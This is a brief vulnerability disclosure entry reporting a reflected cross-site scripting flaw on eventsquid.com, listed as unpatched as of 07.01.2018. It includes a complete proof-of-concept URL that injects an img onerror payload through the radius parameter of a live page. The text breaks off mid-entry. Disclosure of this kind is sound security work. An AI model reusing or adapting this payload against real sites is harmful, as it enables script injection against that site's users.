eventsquid.com XSS vulnerability

Vulnerable URL: https://www.eventsquid.com/eventDisplaySet.cfm?eventtypeid=State=Country=id=nullid=id=radius=%22%3Ederp%3Cimg%20src=x%20onerror=prompt/XSSPOSED/%3E==org=0= Details: Description| Value ---|--- Patched:| No Latest check for patch:| 07.01.2018 Vulnerability type:| XSS Vulnerability...